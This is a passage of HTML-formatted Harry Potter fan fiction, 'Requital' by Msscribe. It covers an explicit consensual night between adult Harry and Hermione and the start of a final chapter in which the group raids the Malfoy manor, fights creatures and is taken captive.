should have never\nhit you.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ginny nodded\nthoughtfully.&nbsp; &#8220;I know, but please trust me.&nbsp; I know him Dad&#8230;better\nthan anyone ever has.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His daughter was\nstrong, alive and determined.&nbsp; He had raised her to be all of those\nthings.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I trust you,&#8221; he said,\nfeeling slightly indulgent because of his actions that previous night.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ginny smiled.&nbsp; &#8220;I&#8217;m\ncoming tomorrow.&#8221;&nbsp; She waited for his reaction, surprised when it wasn&#8217;t\nimmediate.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was expecting you to\nsay that, although I hoped you wouldn&#8217;t.&nbsp; You&#8217;re like your mother, once\nyou&#8217;ve made up your mind&#8230;&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She cut him off with a\nhug.&nbsp; He held onto her, remembering the first time he held her in his arms\nand hoping it wouldn&#8217;t be the last.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you say the ministry \n    in France is sending some help?&#8221; Harry asked Sirius as they looked over the \n    map that Malfoy had drawn.&nbsp; It was highly detailed, and Draco had carefully \n    labeled it with the various security mechanisms that were being used.&nbsp; \n  </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They are reluctant, but\nthey will send some Aurors.&nbsp; They are sending four.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry wasn&#8217;t\nsurprised.&nbsp; He had hoped for more support, but he wasn&#8217;t surprised at all.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I guess that means\na long night tonight.&#8221;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Sirius shook his head.&nbsp; \n    &#8220;No, I don&#8217;t think that&#8217;s what we need.&nbsp; I think whatever happens will \n    happen and frankly I&#8217;m not anxious to spend what could be my last evening \n    locked in a room with all of you.&nbsp; I suggest you catch up on some sleep, \n    or , if you\'re anxious...alter your appearance and go into Hogsmeade.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Harry lay his head back onto the\nchair.&nbsp; &#8220;You\'re probably right, but Hogsmeade doesn&#8217;t have the appeal it\nonce did.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked in,\nlooking like a stranger from the past.&nbsp; &#8220;It&#8217;s shorter, but it looks more\nlike me don&#8217;t you think?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Sirius eyed her\nsuspiciously, &#8220;You went and got your hair done?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She passed him a resentful\nlook, pulling a snippet of blonde hair from her pocket.&nbsp; &#8220;It&#8217;s from a\nlittle girl&#8230;a virgin, or <i>maiden</i>.&nbsp; I went to the salon to collect it\nand thought they would grow suspicious if I were just hanging around.&#8221;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m glad.&nbsp; I missed \n    your hair that way,&quot; Harry said.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Sirius stood to leave,&nbsp; \n    &#8220;I&#8217;m gone, I guess I&#8217;ll see you in the morning.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are you going?&#8221;\nHarry said.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;To Calypso.&nbsp; I have\nan old friend I never got to spend enough time with.&#8221;</p>\n\n  <p style="line-height:150%" align="center">&nbsp;&nbsp;#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When Hermione opened her\neyes in the middle of the night, Draco Malfoy was standing over her.&nbsp; She\nwas about to let out an instinctive scream until she saw Ginny standing close\nbehind him, smirking.&nbsp; She looked over at Cho&#8217;s bed, which was empty.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Longbottom took off to be \n    with that Muggle woman, and Cho is a fairly smart girl&#8230;so how about we play \n    a game of musical beds, Granger?&#8221; he said.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Beautiful music to be\nmade in private of course&#8230;C&#8217;mon Hermione&#8230;last night on earth, lets make it\ncount,&#8221; she said, throwing her arms around Draco&#8217;s shoulders.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat up, letting\nher eyes focus in the darkened room.&nbsp; &#8220;What about the Weasley&#8217;s?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mom and Dad are fast\nasleep&#8230;along with Harry, but we have a feeling you can wake him up without a\ncomplaint,&#8221; Ginny giggled.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought, <i>why \n    not?</i>&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp;She threw on her robe and\ntiptoed out, checking the hall for any signs of movement.&nbsp; She thought she\ncould hear a bed squeaking in Ron and Neville&#8217;s room.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Cho Chang, no doubt.</i></p>\n\n  <p style="line-height:150%"><i>&nbsp;&nbsp; </i><i>&nbsp;&nbsp;&nbsp;&nbsp; </i>When \n    she opened the door to Harry and Draco&#8217;s room, Harry was fast asleep, a tiny \n    trail of dribble coming from his mouth.&nbsp; She giggled, and he woke with \n    a start, reaching for his wand.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good reflexes,&#8221; she said,\nsitting on his bed next to him.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&nbsp; Where&#8217;s\nMalfoy?&#8221; he said sleepily, &#8220;Is everything alright?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione could make out\nhis expression in the semi-darkness.&nbsp; He was awfully slow to catch on, but\nonce he did, he smiled.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Malfoy and I are playing\nmusical beds,&#8221; Hermione whispered, removing her robe.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He took his wand and\nwhispered a silencing and locking charm.&nbsp; Then he reached up for her,\npulling her down on top of him.&nbsp; They became entangled in a kiss with\ntheir tongues probing, pushing, exploring and Hermione scratching her cheek\nagainst his rough, stubbled one.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She became restless in his\narms, but her lips stayed on him.&nbsp; He moved his hands down from her back\nand begun rocking her hips as he moved his thigh between her legs.&nbsp; He put\nhis hand on the nape of her neck, feeling the soft down that grew there, and\npulled her lips even tighter to his.&nbsp; A hot little quiver of anticipation\nran through her body as she let her hand reach down to find him already\nrigid.&nbsp; When she did this, his fingers pressed into her hips, grinding her\nonto him.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her hand groped his penis \n    again, and he stroked her hair, which was soft and full of curl now&#8230; as he \n    wriggled out of his boxers.&nbsp; Hermione&#8217;s trembling fingers traced his \n    length.&nbsp; Harry caressed her narrow shoulders, then her slim body, which \n    tensed momentarily as his hands slid down to her thighs, and up under her \n    nightgown.&nbsp;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &quot;I\nwant to make you come...&quot; he whispered, fixing his eyes onto hers.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he found her, she\nmoaned under her breath, raising herself so she could pull her nightgown over\nher head.&nbsp; She closed her thighs around his hand, rocking above him, his\nthumb pressed firmly against the bundle of nerves between her folds.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;\n&quot;Oh God Harry!&quot;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp; &nbsp;&nbsp;She cried out in pleasure at her own release \n    as she pressed herself fiercely against him, her body grasping him, pulling \n    him inside.&nbsp; Despite their urgency, each movement became longer and slower.&nbsp; \n    Her arms began to tremble with supporting her weight above him, and he rolled \n    her over, plunging himself as deep inside of her as he could.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he came, it seemed to\nlast forever.&nbsp; There was a sense of all encompassing peace as Hermione lay\nunder him, shivering.&nbsp; He could see the lines of her face in the moonlight\nthat seeped into the room.&nbsp; He stroked her affectionately, breathing hot\nbreath onto her neck.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think it&#8217;ll be alright\nif I stay until morning&#8230;before the Weasley&#8217;s notice we&#8217;ve switched things\naround,&#8221; she said.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry let his fingers remove \n    a curl from her forehead, now moist with perspiration.&nbsp; &#8220;Good,&#8221; he said \n    cupping her breast, &#8220;I&#8217;m not ready to let you go just yet&#8230;&#8221;</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Molly&#8230;Molly&#8230;are\nyou still up?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The sleepy Mrs. Weasley\nrolled over to face her husband again.&nbsp; &#8220;Alright honey&#8230;once more,&#8221; she\nmumbled reaching for the buttons on her sleep shirt.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No&#8230;although,&#8221; he paused\ncontemplating her offer, &#8220;no&#8230;no&#8230;what I mean is it&#8217;s way too quiet out\nthere.&nbsp; Usually I have to throw a silencing charm on Ron&#8217;s room to stop\nthe sound of his snoring at this point.&#8221;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Weasley sighed.&nbsp; \n    &#8220;They&#8217;re probably having a hard time sleeping.&nbsp; I know I am,&#8221; yawning \n    in contradiction to her previous statement.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There better not be any\nfunny business going on there&#8230;I know Harry&#8217;s seeing Hermione now, and it seems\nto me Ms. Chang has taken a liking to our son.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Give it a rest Arthur,\nthey aren&#8217;t children anymore,&#8221; she moaned, rolling over onto her side.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear it, Molly,&#8221; he\nsaid pulling the covers up around him again, &#8220;If Draco Malfoy is out there\nfooling around with my daughter, this will be his last night on earth whether\nwe are successful tomorrow or not.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Whatever you say\ndear.&nbsp; Whatever you say.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(90, 14, '\n<u>Requital</u> by Msscribe\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b></p>\n<p style="line-height:150%"><i>(A/N: Thanks to all those who have followed along \n  in my sick world! I hope you enjoy the final chapter!)</i></p>\n<p><b><u>Chapter 14 </u>&#8211; Armageddon</b></p>\n<p>There were strange sounds emanating from the bottom of the hill.&nbsp; Slithering, \n  hissing seething sounds.&nbsp; They had waited impatiently all day for the cover \n  of nightfall to seek out the boundaries of the Malfoy estate, and they were \n  currently second guessing their choice.</p>\n<p>The only ones who seemed unconcerned were Ginny and Draco, who had moved ahead \n  of the group now, treading lightly, even on familiar ground.</p>\n<p>&#8220;This is where we should split,&#8221; Sirius said, looking towards Arthur for approval.</p>\n<p>They had their assignments.&nbsp; Ginny would go with Ron and Neville, Draco would \n  go with Sirius and Hermione, and Harry would go with Arthur and Cho.&nbsp; The four \n  from the French ministry had said they would be there, but there was no sign \n  of them.</p>\n<p>They stopped at the top of the hill, and looked down at the vast estate.&nbsp;&nbsp;&nbsp; \n  Hermione stepped out of the shadows into a dark hollow space right on the edge.&nbsp; \n  The wind was fierce, and the cold even more bitter then she had anticipated.&nbsp; \n  Somewhere nearby she could hear water rushing.&nbsp; Draco had told them about this, \n  and she pulled her rubber boots up as high as she could.&nbsp; </p>\n<p>And they walked their separate ways.&nbsp; Harry turned to look at Hermione quickly, \n  and she returned his gaze, but refused to say goodbye.&nbsp; This wasn&#8217;t going to \n  be their goodbye.&nbsp; She wasn&#8217;t going to let it be.</p>\n<p>Hermione commenced her slow deep breathing and recited her rhyme.&nbsp; She would \n  not die here in this valley.&nbsp; She would make someone pay tonight for what they \n  had done.&nbsp; Her need for justice would not go unrequited.&nbsp; </p>\n<p><i>There will be no tragedy.&nbsp; </i></p>\n<p>They climbed down the mountain slowly, hidden by the brush.&nbsp; Hard and brittle \n  rocks crumbled under her feet and the ground grew slick and treacherous the \n  closer they got.&nbsp;&nbsp; </p>\n<p>Hermione gathered all of her spiritual strength.&nbsp; Draco had said that the danger \n  wouldn&#8217;t come until they had reached the bottom.&nbsp; He warned them of the serpents \n  his father used to ward off enemies, and how to deal with them.&nbsp; </p>\n<p>When her feet hit the bottom of the hill, she didn&#8217;t expect them to be upon \n  her so quickly.&nbsp; They wrapped around her waist and her shoulders, hissing and \n  spitting in her ears.&nbsp; They tangled themselves in her hair and she felt a terrible \n  crushing weight on her chest.</p>\n<p>&#8220;Remain calm,&#8221; Draco reminded them.</p>\n<p>Hermione&#8217;s stomach knotted and twisted with horror, and she released her breath \n  slowly, thinking of her mother, thinking of pumpkin pie, and thinking of Harry.&nbsp; \n  She held tight to the knowledge that this wasn&#8217;t real, and that they could not \n  kill her unless she gave them what they wanted.&nbsp; Fear.</p>\n<p>&nbsp;</p>\n<p>At long last, the crushing weight seemed to taper off, and she could feel them \n  unraveling.&nbsp; She allowed herself to open her eyes and could see she was the \n  second to fight them off.&nbsp; Sirius was still entangled.&nbsp; When finally, he was \n  released from their grip, they pushed ahead.&nbsp; </p>\n<p>Soon water began creeping up over her feet.&nbsp; The blood in her veins seemed \n  to slow down, as the moat they were wading through grew deeper and deeper.&nbsp; \n  The water was almost black, and disturbingly warm.</p>\n<p>&#8220;Ginny had to do this to come see you?&#8221; Hermione asked.</p>\n<p>Draco didn&#8217;t bother to turn around.</p>\n<p>&#8220;No.&nbsp; She used my secret route from Hogwarts, but I&#8217;m fairly certain Lucius \n  has found it by now.&#8221; </p>\n<p>There was a soft light glittering a few feet ahead, and Hermione recognized \n  it as a doorway.&nbsp; The gate that covered it was barely visible under the oozing \n  vines of the Devil&#8217;s snare that grew around the perimeter.&nbsp;&nbsp; </p>\n<p>&#8220;We will have to move quickly once we are inside,&#8221; Draco said, hesitating before \n  opening the gate.</p>\n<p>&#8220;Hermione, you will follow Draco and you will seek out the other two objects,&#8221; \n  he said, his boots squelching against the mud, &#8220;do you have the third?&#8221;</p>\n<p>&#8220;Of course,&#8221; she said feeling in her pocket for the triangle and the lock of \n  hair.</p>\n<p>Sirius felt for his pistol and his wand.&nbsp; He knew that once the gate was opened, \n  Lucius would be aware of the intrusion.&nbsp; Sirius would stay and wait for him, \n  hoping he could distract him long enough for Draco to get Hermione to her hiding \n  spot.</p>\n<p>&#8220;Now!&#8221; Sirius said.&nbsp; Draco obeyed, reciting the spell to open the gate and \n  pulling its bars apart.&nbsp; And they were inside.</p>\n<p style="text-align:center" align="center">#</p>\n<p>A gate had been opened, and Lucius knew it was them.&nbsp; All of the servants had \n  been instructed not to return, and he knew it was only a matter of time before \n  the guests of honor arrived to his party.&nbsp; </p>\n<p>Another gate opened now.&nbsp; Then another.&nbsp; He wondered how many there were?</p>\n<p><i>How cowardly</i>, Lucius thought, <i>to sneak up on a man when he is supposedly \n  sleeping required no great cleverness or courage.</i>&nbsp; </p>\n<p>He was, however, pleasantly surprised at how quickly the first gate was opened.&nbsp; \n  It was a spell only his son knew, and that spell responded only to Malfoy blood.</p>\n<p><i>My prodigal son has returned</i>, he thought.&nbsp; </p>\n<p>Thrust through Lucius&#8217; belt was a thick, sharp knife of polished silver, a \n  magnificent magical weapon that he preferred to use on special occasions such \n  as this one.&nbsp; It would lie beside the offering table later, but he would keep \n  it close for now.</p>\n<p>A door slammed.&nbsp; Hellions leapt from bureaus and bookcases.</p>\n<p>&#8220;My patience is growing thin,&#8221; she said, a child again.</p>\n<p>&#8220;You will have to remain patient no longer,&#8221; Lucius answered, &#8220;we have guests.&#8221;</p>\n<p>&#8220;Then I suspect we should send someone to greet them.&#8221;</p>\n<p>And the Hellions started to gather, leaping and yelping excitedly.&nbsp; They bent \n  before her, as if burdened.</p>\n<p>&#8220;Seek them out&#8230;bring me the key,&#8221; she hissed.</p>\n<p style="text-align:center" align="center">#</p>\n<p>Not the faintest ray of light penetrated where Harry, Arthur, and Cho stood, \n  yet the hallway was dimly lit by an eerie glow.&nbsp; Their eyes were trying to adjust \n  to the dull blue light.&nbsp; They hadn&#8217;t bothered to draw their wands, because they \n  weren&#8217;t sure exactly what they&#8217;d be facing.&nbsp; Cho&#8217;s flack was strapped to her \n  back and she instinctively felt for it.</p>\n<p>All at once, hideous, waist high creatures boiled out of the now open doorways \n  and started towards them.&nbsp; Cho stifled a scream.&nbsp; Arthur aimed his Muggle pistol \n  and fired, throwing a startled Hellion back against the wall.&nbsp; It bled and it \n  lay there, shrieking.&nbsp; </p>\n<p>He fired again.&nbsp; But there were so many.</p>\n<p>Harry and Cho pulled their flacks out, knocking another aside.&nbsp; They stood \n  with their backs together, as Arthur meticulously took aim at another.</p>\n<p>The beasts kept coming closer, and with despairing eyes, Harry looked at Cho \n  who was preparing to take aim at one nearing her leg.&nbsp; Harry swallowed and cried \n  out, with a rebel yell.&nbsp; He forcefully plunged his weapon into the chest of \n  one of the beasts.&nbsp; Its grimacing eyes met his briefly before it stumbled to \n  the ground.&nbsp; </p>\n<p>But another was upon him now.&nbsp; It came at him more swiftly then he had anticipated, \n  knocking him to the floor.&nbsp; It stopped suddenly, lost in Harry&#8217;s eyes.&nbsp; He pushed \n  it away and it scrambled, looking confused.&nbsp; It grunted and hissed at the other \n  beasts in their ancient language and they moved back.&nbsp; Harry stepped towards \n  them and they moved back again.</p>\n<p>&#8220;Why didn&#8217;t it&#8230;what happened?&#8221; Harry asked Arthur, still in shock from the \n  scene.</p>\n<p>&#8220;I don&#8217;t know.&nbsp; It looks like they&#8217;re afraid of you.&#8221;</p>\n<p>Cho and Arthur moved behind Harry who walked farther down the hall.</p>\n<p>There was a half eaten carcass lying on the floor that Harry recognized as \n  Ivan, from the club.</p>\n<p><i>I wouldn&#8217;t have wished that on anyone</i>, he thought, cautiously stepping \n  ahead and thinking of how close he had come to meeting the same fate.</p>\n<p style="text-align:center" align="center">#</p>\n<p>Ginny remembered that the three hallways met up in the middle on the bottom \n  floor of the manor, spilling out into a common room.&nbsp; &nbsp;They had surprisingly \n  walked most of the hall without a problem.&nbsp; She found little consolation in \n  this, knowing the others were probably facing what hadn&#8217;t gotten to them yet.&nbsp; \n</p>\n<p>BANG!</p>\n<p>She heard a pistol fire, and Ron moved protectively in front of her.&nbsp; They \n  all froze again when they heard another.&nbsp; </p>\n<p>&#8220;How unexpected,&#8221; said the short round man whose gaze settled on Neville, &#8220;to \n  meet up with you again.&#8221;</p>\n<p>Ron&#8217;s hand suddenly felt like a steel band around Ginny&#8217;s wrist as he tried \n  to keep her hidden from Locust&#8217;s view.&nbsp; Locust&#8217;s tongue fell from his mouth \n  and licked at the bottom of his chin indelicately.&nbsp; </p>\n<p>&#8220;I believe you&#8217;ve taken something from us, and we&#8217;d like them back,&#8221; Ron said \n  boldly, finding courage Ginny didn&#8217;t know he had.</p>\n<p>Locust Daviz laughed and a foul humidity poured into the hall.</p>\n<p>&#8220;I think the keys were taken from us first, and we&#8217;d like our third.&nbsp; So before \n  I destroy you all, except perhaps the delicious vixen you have behind you, I \n  will need this item from you.&#8221;</p>\n<p>Neville gritted his teeth.&nbsp; &#8220;We don&#8217;t have it Locust.&#8221;</p>\n<p>And then Neville didn&#8217;t know him anymore.&nbsp; Locust&#8217;s gaze engulfed them in a \n  flood of light and they were paralyzed.</p>\n<p style="text-align:center" align="center">#</p>\n<p>Hermione saw a sudden flash of light coming from one of the other Hallways, \n  shortly after she and Draco had heard the gunshots.</p>\n<p><i>God, please let them be all right</i>, she preyed, as Draco led her to the \n  storeroom.</p>\n<p>&#8220;You&#8217;ll barely fit, but the door&#8217;s more solid then any room door,&#8221; he said.</p>\n<p>She knew what the plan was.&nbsp; She would have to remain safe in order for this \n  to succeed, and she carried the object everyone so desperately seemed to want.&nbsp; \n  Still, she wished she didn&#8217;t have to be stowed away like an object herself.&nbsp; \n  Now all she could do was wait.</p>\n<p>&nbsp;</p>\n<p>Draco closed the storeroom door behind him and made his way towards the common \n  room of the lower level.&nbsp; Each hall housed sixteen rooms, eight on each side, \n  so he couldn&#8217;t make out what was going on as he crept further along. </p>\n<p><i>Pant. Pant. Click. Slurp.</i></p>\n<p>But he was ready this time.&nbsp; He fired the gun at the creature spattering its \n  head in several directions, including back onto him.</p>\n<p><i>Christ.&nbsp; </i></p>\n<p>Draco could see another clawing on the storeroom door where he had put Hermione.&nbsp; \n  The door was metal, and he relaxed when its teeth couldn&#8217;t penetrate it.&nbsp; Then \n  Draco shot it in the neck.</p>\n<p><i>These Muggle weapons certainly are useful.</i></p>\n<p>&#8220;So you have stooped to using Muggle tools have you?&#8221; Lucius Malfoy said, stepping \n  out of his well-hidden corner.</p>\n<p>An out of breath Sirius Black ran up behind Draco. </p>\n<p>&#8220;He isn&#8217;t alone Lucius, and he&#8217;s standing with us by choice,&#8221; Sirius said.</p>\n<p>Lucius laughed and moved closer to Draco, who stood directly in front of him.</p>\n<p>&#8220;Young Draco has had many choices, and I gave him many opportunities to succeed.&nbsp; \n  But he tossed it all aside.&#8221;</p>\n<p>Draco drew his wand, noticing finally the change in his father&#8217;s eyes.&nbsp; Sirius \n  drew his wand as well.</p>\n<p>&#8220;See the power you could have had?&#8221; Lucius said, throwing his hand into the \n  air and sending Draco and Sirius both flying down the hallway.</p>\n<p>&#8220;Where is the third key?&#8221; Lucius screamed, releasing his fury again.</p>\n<p style="text-align:center" align="center">#</p>\n<p>Hermione could hear everything.&nbsp; She held her breath as she listened to Draco \n  and Sirius struggle against Lucius Malfoy.&nbsp; She let a tear fall down her face \n  when the only screams she heard now were from Draco.&nbsp; </p>\n<p><i>No God please&#8230; please don&#8217;t let this happen.</i></p>\n<p>Then there was silence.&nbsp; </p>\n<p>&#8220;Tell me Draco.&nbsp; Who has it?&nbsp; I was surprised it wasn&#8217;t Black&#8230;is Potter with \n  you?&nbsp; Perhaps Granger?&nbsp; Tell me and I will reinstate you as my son.&nbsp; You will \n  have everything you lost,&#8221; Lucius said in a hushed tone.</p>\n<p>There was silence again, and Hermione thought that perhaps Draco was actually \n  considering Lucius&#8217; offer.</p>\n<p>&#8220;I had NOTHING before!&#8221; he yelled and fired a spell at Lucius, enough to send \n  the man to the ground with an audible thud.</p>\n<p>Hermione clutched the triangle tightly.&nbsp;&nbsp; </p>\n<p>&#8220;Lucius Malfoy!&#8221; Arthur Weasley&#8217;s voiced called out.</p>\n<p>Hermione froze again, needing desperately to hear Harry&#8217;s voice.</p>\n<p>&#8220;Step away from Draco, Lucius!&#8221; Harry said.</p>\n<p>Her heart leapt at the sound of it. </p>\n<p><i>Thank you God.&nbsp; Thank you.</i></p>\n<p style="text-align:center" align="center">#</p>\n<p>They were blinded only for a moment when Neville swung his flack into the air.&nbsp; \n  He hit his target, sending Locust back onto the ground.&nbsp; Locust had expected \n  a magical attack, not a physical one.&nbsp; Ron ordered Ginny to stay back as he \n  and Neville confronted Locust in a direct and brutal assault.&nbsp; Locust stumbled \n  back, enraged.&nbsp; He began to burble and froth at the mouth and his mouth grew \n  slowly, expanding to the size of his head.&nbsp; </p>\n<p>&#8220;Where are they?&#8221; Ron yelled at the creature, even though his lungs were beginning \n  to shrink from the rancid air.</p>\n<p>They were interrupted by the sound of Lucius Malfoy.&nbsp; Then there was the sound \n  of something else...hissing.&nbsp; Locust turned towards the noise, and reluctantly \n  moved away from them.&nbsp; The three stood stunned for a moment.&nbsp; Then they followed.</p>\n<p style="text-align:center" align="center">#</p>\n<p>Hermione could hear the fight on the other side of the door, she just didn&#8217;t \n  know who was winning.&nbsp; She listened for voices to rush past.&nbsp; <i>Harry.&nbsp; Neville.&nbsp; \n  Ron.&nbsp; Cho.&nbsp; Harry again</i>.&nbsp; The spells rattled the walls around her and a \n  jar fell onto the floor, crashing and exploding onto her boots.&nbsp; </p>\n<p><i>The rhyme&#8230;what was it again?&nbsp; I still have the triangle&#8230;and the hair.</i></p>\n<p>Explosions were all around her now.&nbsp; She struggled to remain calm, wondering \n  if she should go out to help.&nbsp; She heard Ginny screaming and footsteps rushing \n  past.&nbsp; Something was clawing at her door again.&nbsp; She held her breath, and it \n  left. The struggle seemed to go on for an eternity, but would be nothing compared \n  to the silence that followed.&nbsp; &nbsp;&nbsp;</p>\n<p>She abhorred that sort of silence.&nbsp; </p>\n<p>After a while, the prolonged inactivity began to take not only its physical \n  toll, but it&#8217;s emotional one.&nbsp; Their circumstances required her to be hidden, \n  and so she had to wait.&nbsp; <i>Wait for Harry.</i>&nbsp; She fought of feelings of despair, \n  but tears still pooled in her eyes.&nbsp; Her cold feet and her throbbing back pain \n  she could tolerate, but there was so much anguish in not knowing.&nbsp; </p>\n<p>Still silence.&nbsp; She looked at her watch, a gift from her father.&nbsp; </p>\n<p><i>One hour.</i>&nbsp; There were some lizards making their way across the ceiling, \n  mocking her with their freedom.&nbsp; She heard some more running.&nbsp; Another gunshot.</p>\n<p><i>An hour and a half.</i>&nbsp; The jar that had broken smelled like beans.&nbsp; She \n  couldn&#8217;t imagine the Malfoys&#8217; sitting down to family dinner, but she supposed \n  everyone had to eat.&nbsp; She hadn&#8217;t eaten for a while now.&nbsp; She might never eat \n  again.</p>\n<p><i>Two hours.</i>&nbsp; There was a strange hilarity in what she was thinking then, \n  <i>I wonder if they have anything I could kill myself with in here if Harry \n  doesn&#8217;t come.</i> </p>\n<p>She wouldn&#8217;t dare weep.&nbsp; She flexed her toes, then her calf muscles.&nbsp; She shifted \n  her weight from side to side. She had to stop thinking.&nbsp; She couldn&#8217;t allow \n  herself to become consumed by it.&nbsp; <i>Too much time had passed.&nbsp; Where were \n  the French Aurors?</i></p>\n<p><i>Two hours and fifteen minutes.</i> Everything was starting to itch and the \n  door that barely touched her chest with her back tight against the shelves felt \n  like it was going to crush her.</p>\n<p>By then, Hermione had worked herself into such a state of panic that she found \n  herself having to remember to breathe.&nbsp; Her whole body was in pain and she wanted \n  to surrender to the tears that were begging to be released.&nbsp; Her mind wandered \n  against her will, violent and detailed fantasies seeping into her brain.</p>\n<p class="MsoBodyText">What if Lucius were to find her?&nbsp; He would kill her, perhaps \n  raping her first if the thought occurred to him.&nbsp; Then he wouldn&#8217;t bother burying \n  her.&nbsp; But that wasn&#8217;t the worst.&nbsp; He would take power then, and everything she \n  held dear would be destroyed.&nbsp; Harry would be dead.&nbsp; Everyone would be dead.&nbsp; \n  She would never see her friends again.&nbsp; </p>\nWincing at the pain radiating from her back down her leg, she thought she heard \nfootsteps.&nbsp; There were a lot of them, and a sliver of hope permeated her fear \nwhen she heard some voices.&nbsp; Laughter.&nbsp; \n<p class="MsoBodyText">Party&#8230; there was a party.</p>\n<p style="text-align:center" align="center">#</p>\n<p>The prisoners had been taken to a locked room, bound in thick rope.&nbsp; Lucius \n  had decided he wouldn&#8217;t allow their deaths to be easy.&nbsp; Locust and the ringmaster \n  watched over them.&nbsp; Locust especially watched over Ginny and Cho.&nbsp; When he gave \n  Cho a mock sympathetic look, she spat on him.&nbsp; He had seemed to enjoy it, grazing \n  his hand along her thigh when the ringmaster had stepped away.</p>\n<p>Ron glared at the man, promising himself that he would see Locust burn.&nbsp; </p>\n<p>Harry was too busy keeping his eyes on Sirius, who lay bound, and near death \n  on the floor.&nbsp; Arthur Weasley, who was badly wounded, was slumped in a corner \n  and Ginny whimpered for her father.&nbsp; Neville, Harry, and Ron were tied together.&nbsp; \n  Their wands were all taken.&nbsp; Their weapons were gone, surrendered to stop the \n  